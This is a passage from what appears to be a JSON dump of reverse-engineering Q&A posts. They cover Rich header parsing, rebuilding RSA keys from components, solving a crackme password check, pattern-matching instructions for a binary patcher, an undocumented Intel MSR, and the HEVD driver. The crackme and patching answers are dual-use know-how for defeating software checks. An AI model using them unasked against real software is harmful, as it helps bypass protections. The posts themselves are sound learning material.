PE_START+PE_FIELD_LENGTH-1:\n                continue\n            temp = ord(data[i])\n            cksum+= ((temp &lt;&lt; (i%32)) | (temp &gt;&gt; (32-(i%32))) &amp; 0xff)\n            cksum &amp;=0xffffffff\n\n        #add each compid to the checksum after rotating it by its occurrence count\n        for k in self.compids.keys():\n            cksum += (k &lt;&lt; self.compids[k]%32 | k &gt;&gt; ( 32 - (self.compids[k]%32)))\n            cksum &amp;=0xffffffff\n\n        ## A convenient place for storing the checksum that was computing during checksum validation\n        self.checksum = cksum\n\n        return cksum == checksum\n\nif __name__ == \"__main__\":\n    ph = ParsedRichHeader(sys.argv[1])\n    print (\"PRODID   name            build count\")\n    for key in ph.compids.keys():\n        count = ph.compids[key]\n        prodid, build = (key&gt;&gt;16), key&amp;0xFFFF\n        prodid_name = PRODID_MAP[prodid] if prodid in PRODID_MAP else \"&lt;unknown&gt;\"\n        print ('%6d   %-15s %5d %5d' % (prodid, prodid_name, build, count))\n    if ph.valid_checksum:\n        print (\"Checksum valid\")\n    else:\n        print(\"Checksum not valid!\")\n</code></pre>\n\n<p><strong>Output</strong></p>\n\n<pre><code>PRODID   name            build count\n     1   Import0             0   165\n   155   Export1000      40219     1\n   149   Masm900         30729     2\n   152   AliasObj1000    20115     1\n   224   &lt;unknown&gt;       40629     6\n   147   Implib900       30729    27\n   157   Linker1000      40219     1\n   175   Utc1600_LTCG_CPP 40219    26\n   223   &lt;unknown&gt;       40629     1\n</code></pre>\n\n<p>More info from <a href=\"http://bytepointer.com/articles/the_microsoft_rich_header.htm\" rel=\"nofollow noreferrer\">http://bytepointer.com/articles/the_microsoft_rich_header.htm</a> (emphasis mine).</p>\n\n<blockquote>\n  <p>Most of the entries above have an associated build number of the tool\n  being represented, such as the compiler, assembler and linker. One\n  exception to this is the imported functions count, which happens to be\n  the total number of imported functions referenced in all DLLs. This is\n  usually the only entry with a <strong>build number of zero</strong>. Note that the\n  \"Rich\" structure does not store information on the number of\n  static/private functions within each OBJ/source file.</p>\n</blockquote>\n"
    },
    {
        "Id": "22219",
        "CreationDate": "2019-09-30T19:13:07.320",
        "Body": "<p>I have the binary blobs for the components of a private key including modulus, publicExponent, privateExponent, prime1, prime2, exponent1, exponent2 and coefficient, what is the easiest way to generate a PEM/DER file from them? Is there a easy to use Python API that can be used or do I have to use C? Likewise if I have the components of a public key as binary blobs, including modulus and exponent, what's the easiest method there? Another question in this process: are the python APIs to test the property of the components, like weather the prime is a prime or weather the public and private components match?</p>\n",
        "Title": "Regenerate PEM/DER keys from binary blobs",
        "Tags": "|python|openssl|",
        "Answer": "<p>This can be achieved pretty easily with <code>pycryptodome</code></p>\n<p>Here are some sample values that were generated as a test</p>\n<pre><code>In [1]: from Crypto.PublicKey import RSA\nIn [2]: k = RSA.generate(1024)\nIn [3]: k\nOut[3]: RsaKey(n=143130316039186356537289646457342957029055874083006179752018267628632429252822850383503747585724799519287456198657693682737294996945803556004091588888862734842876499600553435771912216934557891984348187747076769031035627391163918136413321448399135545921574551907381303095829931709226724033859864712257647103161, e=65537, d=17576525985067546537255398853909945804199790570517932383908982984806045296957723116505762555043916971042700268349132837308234281938749515826493875328098129245342983246848248582675980856522190387684789361785762364603511517782326537037037597067485821717857467592522600776711703683226858254562757226108937574081, p=10753783485237760558106558145489319968952855295476064861811826896190777901077938075707538967825984471343848916518461647244807051451613883176849073895898863, q=13309763604192726567108341676142815607992017489636400387824449743334965995406164568181340806599419803897222088829477205186369416995900434016351317269868247, u=11832702411409256011378550201142107940763428930323983942371881106145078470279115081362293142803804740351361635022958520667847860090448209808590495750654916)\n\nIn [4]: n = k.n\nIn [5]: e = k.e\nIn [6]: d = k.d\nIn [7]: p = k.p\nIn [8]: q = k.q\n</code></pre>\n<p>Once you have a (n,e) tuple you can export a public key. Once you have a (n,e,d) tuple you can generate a private key too (p,q are optional).</p>\n<pre><code>In [9]: print(RSA.construct((n,e)).public_key().export_key())\nb'-----BEGIN PUBLIC KEY-----\\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDL0weqmsQCfkL6OLdalWlVFGgN\\nw2FLrXujCsTo9SwEkSyab5UsUvX0fTnl/uH9d18g9136zsQPpsv1Ylh4ElW7/BCX\\n8TBa4exSdKUTS7ishHYfNJ2kXKZMlws9aLCkS4weagvF83c9fMjoQ74E69BkqQDE\\ndDlIBdcLA3fNSSdMuQIDAQAB\\n-----END PUBLIC KEY-----'\n\nIn [10]: print(RSA.construct((n,e,d,p,q)).public_key().export_key())\nb'-----BEGIN PUBLIC KEY-----\\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDL0weqmsQCfkL6OLdalWlVFGgN\\nw2FLrXujCsTo9SwEkSyab5UsUvX0fTnl/uH9d18g9136zsQPpsv1Ylh4ElW7/BCX\\n8TBa4exSdKUTS7ishHYfNJ2kXKZMlws9aLCkS4weagvF83c9fMjoQ74E69BkqQDE\\ndDlIBdcLA3fNSSdMuQIDAQAB\\n-----END PUBLIC KEY-----'\n\nIn [12]: print(RSA.construct((n,e,d,p,q)).export_key())\nb'-----BEGIN RSA PRIVATE KEY-----\\nMIICXAIBAAKBgQDL0weqmsQCfkL6OLdalWlVFGgNw2FLrXujCsTo9SwEkSyab5Us\\nUvX0fTnl/uH9d18g9136zsQPpsv1Ylh4ElW7/BCX8TBa4exSdKUTS7ishHYfNJ2k\\nXKZMlws9aLCkS4weagvF83c9fMjoQ74E69BkqQDEdDlIBdcLA3fNSSdMuQIDAQAB\\nAoGAGQehOWIoD+ZRc0jju0v902TeIlKL8C8tr6fy5mi1Lxpkz9JED11gttVp9sSG\\nHAo8tF+sOtCJYyKoiUm6c4RM4sB1dSqqnaOQEkCpxEcuFMzHNaXzgFVNM6TNykO4\\nV0anZLMEW4/3g4Yxkx4CRHUhhk+s/xlvWvkqwk8Z69woFsECQQDNU2YUAjNm0SJy\\nHds3NxVieTR05dZEkcWVscNZiEVcZqvYc6Pz1ME6knrNFi6nany22Wk55YMHFXiE\\nh3DCd/7vAkEA/iDE8g3TkAu78l5Yn1+ea+l/9eJbTRbJnQqep8I7VwN+9hPaGX49\\nOOOunzM1triAFSpy8ZjYkq1buZZwLoLu1wJAGLAWbgF1vL8YrS/508HDyHtaW1Pn\\nV4dPgphFLNa9wEZ4EyaUaBUExs4mBdLM+URMio/JnzSBdLCYNRcz764N8QJBAKXj\\nhEyyI+HLFyRO3DElPQgag9JhsdHvxyqBjTHbg9r4SD+gk+XCV3q0fgAkcLLXW5z1\\nedUmPnH5QoAyqQZjqD8CQBbJQ2v19z6gHiTXMJ560u9bTD0tJYuwvwGTD5EaW+nD\\noH4Hp2POjAqF29CXlZpjCyhWOmPn7LMZgrTDSnDOS3I=\\n-----END RSA PRIVATE KEY-----'\n</code></pre>\n"
    },
    {
        "Id": "22235",
        "CreationDate": "2019-10-03T15:21:52.943",
        "Body": "<pre><code>                                                              .--------------------------------------------------.\n                                                              | [0x804851b]                                      |\n                                                              | (fcn) main 522                                   |\n                                                              |   int main (int argc, char **argv, char **envp); |\n                                                              | ; var int32_t var_38h @ ebp-0x38                 |\n                                                              | ; var int32_t var_34h @ ebp-0x34                 |\n                                                              | ; var int32_t var_30h @ ebp-0x30                 |\n                                                              | ; var int32_t var_2ch @ ebp-0x2c                 |\n                                                              | ; var int32_t var_28h @ ebp-0x28                 |\n                                                              | ; var int32_t var_24h @ ebp-0x24                 |\n                                                              | ; var int32_t var_ch @ ebp-0xc                   |\n                                                              | ; var int32_t var_8h @ ebp-0x8                   |\n                                                              | ; arg int32_t arg_4h @ esp+0x4                   |\n                                                              | ; DATA XREF from entry0 @ 0x8048437              |\n                                                              | lea ecx, [arg_4h]                                |\n                                                              | and esp, 0xfffffff0                              |\n                                                              | push dword [ecx - 4]                             |\n                                                              | push ebp                                         |\n                                                              | mov ebp, esp                                     |\n                                                              | push ebx                                         |\n                                                              | push ecx                                         |\n                                                              | sub esp, 0x30                                    |\n                                                              | mov eax, dword gs:[0x14]                         |\n                                                              | mov dword [var_ch], eax                          |\n                                                              | xor eax, eax                                     |\n                                                              | mov dword [var_2ch], 0                           |\n                                                              | mov dword [var_38h], 0                           |\n                                                              | mov dword [var_34h], 1                           |\n                                                              | sub esp, 0xc                                     |\n                                                              | ; 0x80487d0                                      |\n                                                              | ; \"Enter the password: \"                         |\n                                                              | push str.Enter_the_password:                     |\n                                                              | ; int printf(const char *format)                 |\n                                                              | call sym.imp.printf;[oa]                         |\n                                                              | add esp, 0x10                                    |\n                                                              | sub esp, 4                                       |\n                                                              | lea eax, [var_24h]                               |\n                                                              | ; 20                                             |\n                                                              | add eax, 0x14                                    |\n                                                              | push eax                                         |\n                                                              | lea eax, [var_24h]                               |\n                                                              | ; 16                                             |\n                                                              | add eax, 0x10                                    |\n                                                              | push eax                                         |\n                                                              | lea eax, [var_24h]                               |\n                                                              | ; 12                                             |\n                                                              | add eax, 0xc                                     |\n                                                              | push eax                                         |\n                                                              | lea eax, [var_24h]                               |\n                                                              | add eax, 8                                       |\n                                                              | push eax                                         |\n                                                              | lea eax, [var_24h]                               |\n                                                              | add eax, 4                                       |\n                                                              | push eax                                         |\n                                                              | lea eax, [var_24h]                               |\n                                                              | push eax                                         |\n                                                              | ; 0x80487e5                                      |\n                                                              | ; \"%d %d %d %d %d %d\"                            |\n                                                              | push str.d__d__d__d__d__d                        |\n                                                              | ; int scanf(const char *format)                  |\n                                                              | call sym.imp.__isoc99_scanf;[ob]                 |\n                                                              | add esp, 0x20                                    |\n                                                              | sub esp, 0xc                                     |\n                                                              | ; 8                                              |\n                                                              | push 8                                           |\n                                                              | ;  void *malloc(size_t size)                     |\n                                                              | call sym.imp.malloc;[oc]                         |\n                                                              | add esp, 0x10                                    |\n                                                              | mov dword [var_28h], eax                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | ; [0x16452:4]=-1                                 |\n                                                              | mov dword [eax], 0x16452                         |\n                                                              | sub esp, 0xc                                     |\n                                                              | ; 8                                              |\n                                                              | push 8                                           |\n                                                              | ;  void *malloc(size_t size)                     |\n                                                              | call sym.imp.malloc;[oc]                         |\n                                                              | add esp, 0x10                                    |\n                                                              | mov edx, eax                                     |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov dword [eax + 4], edx                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | ; [0x16456:4]=-1                                 |\n                                                              | mov dword [eax], 0x16456                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov ebx, dword [eax + 4]                         |\n                                                              | sub esp, 0xc                                     |\n                                                              | ; 8                                              |\n                                                              | push 8                                           |\n                                                              | ;  void *malloc(size_t size)                     |\n                                                              | call sym.imp.malloc;[oc]                         |\n                                                              | add esp, 0x10                                    |\n                                                              | mov dword [ebx + 4], eax                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | ; [0x1645d:4]=-1                                 |\n                                                              | mov dword [eax], 0x1645d                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov ebx, dword [eax + 4]                         |\n                                                              | sub esp, 0xc                                     |\n                                                              | ; 8                                              |\n                                                              | push 8                                           |\n                                                              | ;  void *malloc(size_t size)                     |\n                                                              | call sym.imp.malloc;[oc]                         |\n                                                              | add esp, 0x10                                    |\n                                                              | mov dword [ebx + 4], eax                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | ; [0x1645e:4]=-1                                 |\n                                                              | mov dword [eax], 0x1645e                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov ebx, dword [eax + 4]                         |\n                                                              | sub esp, 0xc                                     |\n                                                              | ; 8                                              |\n                                                              | push 8                                           |\n                                                              | ;  void *malloc(size_t size)                     |\n                                                              | call sym.imp.malloc;[oc]                         |\n                                                              | add esp, 0x10                                    |\n                                                              | mov dword [ebx + 4], eax                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | ; [0x16465:4]=-1                                 |\n                                                              | mov dword [eax], 0x16465                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov ebx, dword [eax + 4]                         |\n                                                              | sub esp, 0xc                                     |\n                                                              | ; 8                                              |\n                                                              | push 8                                           |\n                                                              | ;  void *malloc(size_t size)                     |\n                                                              | call sym.imp.malloc;[oc]                         |\n                                                              | add esp, 0x10                                    |\n                                                              | mov dword [ebx + 4], eax                         |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | ; [0xfffe9bf8:4]=-1                              |\n                                                              | mov dword [eax], 0xfffe9bf8                      |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov eax, dword [eax + 4]                         |\n                                                              | mov dword [eax + 4], 0                           |\n                                                              | mov eax, dword [var_28h]                         |\n                                                              | mov dword [var_30h], eax                         |\n                                                              | jmp 0x80486d7                                    |\n                                                              `--------------------------------------------------'\n                                                                  v\n                                                                  |\n                                                                  '---------.\n                                     .----------------------------------------.\n                                     |                                      | |\n                                     |                                .-----------------------------------.\n                                     |                                |  0x80486d7 [oi]                   |\n                                     |                                | ; CODE XREF from main @ 0x80486a5 |\n                                     |                                | cmp dword [var_30h], 0            |\n                                     |                                | jne 0x80486a7                     |\n                                     |                                `-----------------------------------'\n                                     |                                      t f\n                                     |                                      | |\n                                     |    .---------------------------------' |\n                                     |    |                                   '-----------------------------.\n                                     |    |                                                                 |\n                                     |.----------------------------------------.                        .---------------------------.\n                                     ||  0x80486a7 [of]                        |                        |  0x80486dd [oj]           |\n                                     || mov eax, dword [var_30h]               |                        | cmp dword [var_34h], 0    |\n                                     || mov ebx, dword [eax]                   |                        | je 0x80486f5              |\n                                     || mov eax, dword [var_38h]               |                        `---------------------------'\n                                     || mov eax, dword [ebp + eax*4 - 0x24]    |                                f t\n                                     || sub esp, 0xc                           |                                | |\n                                     || push eax                               |                                | |\n                                     || call sym.encrypt;[oe]                  |                                | |\n                                     || add esp, 0x10                          |                                | |\n                                     || cmp ebx, eax                           |                                | |\n                                     || je 0x80486ca                           |                                | |\n                                     |`----------------------------------------'                                | |\n                                     |        f t                                                               | |\n                                     |        | |                                                               | |\n                                     |        | '-------------------------------.                               | |\n                                     |        '--.                              |                               | |\n                                     |           |                              |                               | '---------.\n                                     |           |                              |           .-------------------'           |\n                                     |           |                              |           |                               |\n                                     |       .---------------------------.      |       .---------------------------.   .---------------------------.\n                                     |       |  0x80486c3 [og]           |      |       |  0x80486e3 [ol]           |   |  0x80486f5 [om]           |\n                                     |       | mov dword [var_34h], 0    |      |       | sub esp, 0xc              |   | sub esp, 0xc              |\n                                     |       `---------------------------'      |       | ; 0x80487f7               |   | ; 0x8048800               |\n                                     |           v                              |       | ; \"Correct!\"              |   | ; \"Incorrect!\"            |\n                                     |           |                              |       | push str.Correct          |   | push str.Incorrect        |\n                                     |           |                              |       | ; int puts(const char *s) |   | ; int puts(const char *s) |\n                                     |           |                              |       | call sym.imp.puts;[ok]    |   | call sym.imp.puts;[ok]    |\n                                     |           |                              |       | add esp, 0x10             |   | add esp, 0x10             |\n                                     |           |                              |       | jmp 0x8048705             |   `---------------------------'\n                                     |           |                              |       `---------------------------'       v\n                                     |           |                              |           v                               |\n                                     |           |                              |           |                               |\n                                     |           '----------.                   |           |                               |\n                                     |                      |                   |           '-------------.                 |\n                                     |                      |                   |                         | .---------------'\n                                     |                      | .-----------------'                         | |\n                                     |                      | |                                           | |\n                                     |                .-----------------------------.               .-----------------------------------.\n                                     |                |  0x80486ca [oh]             |               |  0x8048705 [on]                   |\n                                     |                | add dword [var_38h], 1      |               | ; CODE XREF from main @ 0x80486f3 |\n                                     |                | mov eax, dword [var_30h]    |               | mov eax, 0                        |\n                                     |                | mov eax, dword [eax + 4]    |               | mov ecx, dword [var_ch]           |\n                                     |                | mov dword [var_30h], eax    |               | xor ecx, dword gs:[0x14]          |\n                                     |                `-----------------------------'               | je 0x804871b                      |\n                                     |                    v                                         `-----------------------------------'\n                                     |                    |                                                 f t\n                                     |                    |                                                 | |\n                                     `--------------------'                                                 | |\n                                                                                                            | '-----------------.\n                                                                                      .---------------------'                   |\n                                                                                      |                                         |\n                                                                                  .------------------------------------.    .-----------------------.\n                                                                                  |  0x8048716 [op]                    |    |  0x804871b [oq]       |\n                                                                                  | ; void __stack_chk_fail(void)      |    | lea esp, [var_8h]     |\n                                                                                  | call sym.imp.__stack_chk_fail;[oo] |    | pop ecx               |\n                                                                                  `------------------------------------'    | pop ebx               |\n                                                                                                                            | pop ebp               |\n                                                                                                                            | lea esp, [ecx - 4]    |\n                                                                                                                            | ret                   |\n</code></pre>\n\n<p>How to decrypt the password from \"call sym.encrypt;[oe]\". When I use the breakpoints (radare2) the hex values of the registers are encrypted (i need the value of ebx shown in the image).And what is the significance of the malloc function? Is there non primitive data structure used in this program?</p>\n",
        "Title": "How to decrypt the password using radare2 or gdb?",
        "Tags": "|ida|disassembly|radare2|gdb|decryption|",
        "Answer": "<p>First of All post only relevant code avoid posting some thing that requires horizontal scrolling<br>\nsecond do not post images where you can post copy paste-able code </p>\n\n<p>simplifying the code it is basically </p>\n\n<pre><code>printf (\"enter your password\\n\");\nint a,...; \nscanf(\"%d%d%d%%d%%d%d\" , &amp;a,...)\nans1 == encrypt(a) ? \"correct\" : \"incorrect\"\n</code></pre>\n\n<p>where encrypt() is simply a few mathematical operations like add, sub,xor , not on the provided input</p>\n\n<p>the first integer is 4 (5 more ints need to be solved)</p>\n\n<pre><code>&gt;&gt;&gt; hex((((~((4 - 0x18)^0x7a69))^0x11e61)^0x37)+0x26)\n'0x16452'  &lt;&lt; this is there in your ebx and others are there in the code you posted\n</code></pre>\n"
    },
    {
        "Id": "22236",
        "CreationDate": "2019-10-03T16:42:53.953",
        "Body": "<p>English is not my first language, so I'm sorry if my text isn't so clear. </p>\n\n<p>I'm trying to program an automatic patcher for a PE binary that should work for multiple versions of this executable. For that to work, I need to find the bytes of the instruction which references a specific static string. I need to find the bytes in file for the LEA instruction highlighted in red below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/VLt34.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VLt34.png\" alt=\"enter image description here\"></a></p>\n\n<p>I can't simply do a pattern search for \"48 8D 15 C8 50 DA 00\", because the last four bytes of the opcode change between executable versions, as the string address varies.</p>\n\n<p>Finding the string offset in the file is pretty easy with an hex editor, and translating that offset into a virtual address is also very straightforward and I got that working already (converting from file offset to VA is yielding the 0x140FDE580 correctly).</p>\n\n<p>The problem is actually going from this virtual address into the binary opcode of the LEA address operand (C8 50 DA 00). Since this address is relative to the current instruction position, is there any more optimized way of searching for this instruction other than iterate between each instruction, calculate the distance between EIP and the string VA and see if the current instruction address this VA offset?</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "Find a instruction in a binary file (PE) based on a virtual address of a string reference",
        "Tags": "|disassembly|windows|executable|x64dbg|patching|",
        "Answer": "<p>Sure, just mask the dynamic bytes and increase the size of your pattern.   </p>\n\n<p>48 8D 15 C8 50 DA 00 [Original]<br>\nC8 8D 15 ? ? ? ? ... [New]  </p>\n\n<p>Obviously your pattern will have to be longer to remain unique, but it will stay consistent over most updates unless a compiler setting was changed for the most part. Simply have your pattern ignore dynamic offsets. Well, that's your pattern issue anyway.</p>\n\n<p>In terms of your RIP Relative issue, it's pretty simple.<br>\nTarget = (RIP + InstrLen + InstrImm). </p>\n\n<p>Target is simply the next instruction (RIP + InstrLen) with offset being (NextInstr - ImmSize). All you need to know is instruction length and immediate size to follow the branch. Lots of libraries like DiStorm have macros to follow the current instruction as well, if you wanted to use one.</p>\n"
    },
    {
        "Id": "22239",
        "CreationDate": "2019-10-04T10:51:25.783",
        "Body": "<p>I'm trying to reverse the BIOS of a machine to learn something.\nThe bigger problem I'm facing is that during early initialization, the code is making heavy usage of MSRs, and most of the time, I found those not documented.</p>\n\n<p>In a specific point of this BIOS, as an example, I found this function:</p>\n\n<pre><code>0000F575                    sub_F575        proc near               \n0000F575 60                                 pusha\n0000F576 B8 01 00 00 00                     mov     eax, 1\n0000F57B 0F A2                              cpuid\n0000F57D C1 C8 04                           ror     eax, 4\n0000F580 66 3D 6F 30                        cmp     ax, 306Fh       ; Haswell\n0000F584 74 06                              jz      short HaswellBroadwellStuffs\n0000F586 66 3D 6F 40                        cmp     ax, 406Fh       ; Broadwell\n0000F58A 75 0E                              jnz     short NoNeed4IvyBridge\n0000F58C\n0000F58C                    HaswellBroadwellStuffs:\n0000F58C B9 FC 01 00 00                     mov     ecx, 1FCh\n0000F591 0F 32                              rdmsr\n0000F593 0D 01 00 20 00                     or      eax, 200001h\n0000F598 0F 30                              wrmsr\n0000F59A\n0000F59A                    NoNeed4IvyBridge:\n0000F59A 61                                 popa\n0000F59B E8 02 06 00 00                     call    DummyProc_1\n0000F5A0 C3                                 retn\n0000F5A0                    sub_F575        endp\n</code></pre>\n\n<p>Looking thorough the <em>Intel 64 and IA-32 Architectures Software Developer\u2019s Manual Volume 4: Model-Specific Registers</em> I found no evidence this <strong>0x1fc</strong> register existence for <strong>Haswell</strong>, <strong>Broadwell</strong> or <strong>IvyBridge</strong> this BIOS is for.\nInstead few documentation on this register exists for different Intel versions:</p>\n\n<ul>\n<li>for <strong>Goldmont</strong>, <strong>Nehalem</strong>, the register is named <strong>MSR_POWER_CTL</strong> and only bit #1 is documented</li>\n<li>for <strong>Sandy Bridge</strong> is still named <strong>MSR_POWER_CTL</strong> but no further info are provided, instead it just says refer to <em><a href=\"http://biosbits.org\" rel=\"noreferrer\">http://biosbits.org</a></em>, where nothing useful was found.</li>\n<li>for <strong>Skylake</strong>, <strong>Kaby Lake</strong>, <strong>Coffee Lake</strong> and <strong>Cannon Lake</strong> datasheet is more verbose; is still named <strong>MSR_POWER_CTL</strong> and the there bits: #1, #20 and #21 descriptions appears, still no evidences for bits #0 and #21 used in this function.</li>\n</ul>\n\n<p><strong>So my question</strong>: If anyone has info on the register I've mentioned, that would be nice if he/her wants to share with me; more important, I would appreciate if anyone would direct me on a reliable source of info on this topic other than Intel official manuals.</p>\n",
        "Title": "Undocumented Model-Specific Register on Broadwell Microarchitecture",
        "Tags": "|x86-64|bios|",
        "Answer": "<p>Details of such low-level registers are often disclosed only to Intel's trusted partners under NDA since they're not intended to be accessed by the general application programmer but only by writers of BIOS or other system-level code. That said, sometimes you can find info in <a href=\"https://github.com/tianocore/edk2-platforms/blob/master/Silicon/Intel/PurleyRefreshSiliconPkg/Include/Library/CpuPpmLib.h\" rel=\"nofollow noreferrer\">unexpected places</a>...</p>\n<pre><code>#define MSR_POWER_CTL                           0x1FC\n#define PCH_NEG_DISABLE                         (1 &lt;&lt; 30)\n#define PCH_NEG_DISABLE_SHIFT                   30\n#define LTR_SW_DISABLE                          (1 &lt;&lt; 29)  //LTR_IIO_DISABLE\n#define LTR_SW_DISABLE_SHIFT                    29\n#define PROCHOT_LOCK                            (1 &lt;&lt; 27)\n#define PROCHOT_LOCK_SHIFT                      27\n#define PROCHOT_RESPONSE                    (1 &lt;&lt; 26)\n#define PROCHOT_RESPONSE_SHIFT              26\n#define PWR_PERF_TUNING_CFG_MODE                (1 &lt;&lt; 25)\n#define PWR_PERF_TUNING_CFG_MODE_SHIFT          25\n#define PWR_PERF_TUNING_ENABLE_DYN_SWITCHING    (1 &lt;&lt; 24)\n#define PWR_PERF_TUNING_ENABLE_DYN_SHIFT        24\n#define PWR_PERF_TUNING_DISABLE_EEP_CTRL        (1 &lt;&lt; 23)\n#define PWR_PERF_TUNING_DISABLE_EEP_SHIFT       23\n#define PWR_PERF_TUNING_DISABLE_SAPM_CTRL       (1 &lt;&lt; 22)\n#define PWR_PERF_TUNING_DISABLE_SAPM_SHIFT      22\n#define DIS_PROCHOT_OUT                         (1 &lt;&lt; 21)\n#define DIS_PROCHOT_OUT_SHIFT                   21\n#define EE_TURBO_DISABLE                    (1 &lt;&lt; 19)\n#define EE_TURBO_DISABLE_SHIFT              19\n#define ENERGY_EFFICIENT_PSTATE_ENABLE          (1 &lt;&lt; 18)\n#define ENERGY_EFFICIENT_PSTATE_ENABLE_SHIFT    18\n#define PHOLD_SR_DISABLE                        (1 &lt;&lt; 17)\n#define PHOLD_SR_DISABLE_SHIFT                  17\n#define PHOLD_CST_PREVENTION_INIT               (1 &lt;&lt; 16)\n#define PHOLD_CST_PREVENTION_INIT_SHIFT         16\n#define FAST_BRK_INT_EN                         (1 &lt;&lt; 4)\n#define FAST_BRK_INT_EN_SHIFT                   4\n#define FAST_BRK_SNP_EN                         (1 &lt;&lt; 3)\n#define FAST_BRK_SNP_EN_SHIFT                   3\n#define SAPM_IMC_C2_POLICY_EN                   (1 &lt;&lt; 2)\n#define SAPM_IMC_C2_POLICY_SHIFT                2\n#define C1E_ENABLE                              (1 &lt;&lt; 1)\n#define C1E_ENABLE_SHIFT                        1\n#define ENABLE_BIDIR_PROCHOT_EN                 (1 &lt;&lt; 0)\n#define ENABLE_BIDIR_PROCHOT_EN_SHIFT           0\n#define POWER_CTL_MASK                          (PCH_NEG_DISABLE + LTR_SW_DISABLE + PWR_PERF_TUNING_CFG_MODE + \\\n    PWR_PERF_TUNING_ENABLE_DYN_SWITCHING + PWR_PERF_TUNING_DISABLE_EEP_CTRL + \\\n    PWR_PERF_TUNING_DISABLE_SAPM_CTRL + DIS_PROCHOT_OUT + ENABLE_BIDIR_PROCHOT_EN + C1E_ENABLE)\n</code></pre>\n<p>This is not like a full datasheet but still better than nothing...</p>\n"
    },
    {
        "Id": "22241",
        "CreationDate": "2019-10-04T13:22:50.943",
        "Body": "<p>I'm investigating an iOS app Mach-O binary in IDA and noticed it's using a fixed constant as an offset to the SP to denote the start of the stack frame instead of a register. Is this normal? ARM already has so many registers at its disposal this seems like a strange optimization. Are the instructions shorter in this case, or what's the purpose of it?</p>\n",
        "Title": "Mach-O ARM64 using literal values instead of a frame pointer (BP) register",
        "Tags": "|arm|ios|mach-o|",
        "Answer": "<p>This is not really an RE question but anyway...</p>\n\n<p>On x86, the advantage of using dedicated EBP was that the instructions using it are smaller than those using ESP. It also makes it easier for a compiler (or a human when writing assembly) to track accesses to the stack frame - when using ESP you always need to compensate for every stack pointer adjustment. </p>\n\n<p>With recent advances in compiler development many of those reasons do not really apply so there\u2019s less need for a dedicated frame pointer register, especially on platforms like ARM where there\u2019s no real advantage of using it over SP. That said, the frame pointer (X29) <strong>is</strong> still used. You can usually see it being saved and copied from SP in function prologs, even if it\u2019s not actually referenced in the function\u2019s body. This is done so that there\u2019s a proper chain of stack frames linked by the frame pointers in every function. This eases debugging and stack unwinding in case of exceptions. \nAnd sometimes it <em>is</em> used explicitly inside the function, for example when there is a variable adjustment of the stack pointer due to an <code>alloca</code> or a variable length array. In such situation the compiler <em>has</em> to use FP or another register to address the variables in the fixed part of the frame since SP offset is not known anymore. </p>\n"
    },
    {
        "Id": "22245",
        "CreationDate": "2019-10-04T21:34:51.593",
        "Body": "<p>I am looking into getting the address of a dispatch routine. For example, I can get it with windbg easily like so:</p>\n\n<pre><code>0: kd&gt; !drvobj HEVD 2\nDriver object (ffffa70752fdbe30) is for:\n \\Driver\\HEVD\n\nDriverEntry:   fffff8066262a134 HEVD\nDriverStartIo: 00000000 \nDriverUnload:  fffff80662625000 HEVD\nAddDevice:     00000000 \n\nDispatch routines:\n[00] IRP_MJ_CREATE                      fffff80662625058    HEVD+0x85058\n--snipped--\n[0e] IRP_MJ_DEVICE_CONTROL              fffff80662625078    HEVD+0x85078\n--snipped--\n</code></pre>\n\n<p>The IRP_MJ_DEVICE_CONTROL is the routine I am interested in getting and I am not having any luck finding a way to do so. Any knudges or help is much appreciated. </p>\n\n<p>Thank you in advance!</p>\n\n<p>Edit: I would like to get by either Python or CPP</p>\n",
        "Title": "Possible to get address of DRIVER OBJECT programmatically?",
        "Tags": "|windows|c++|",
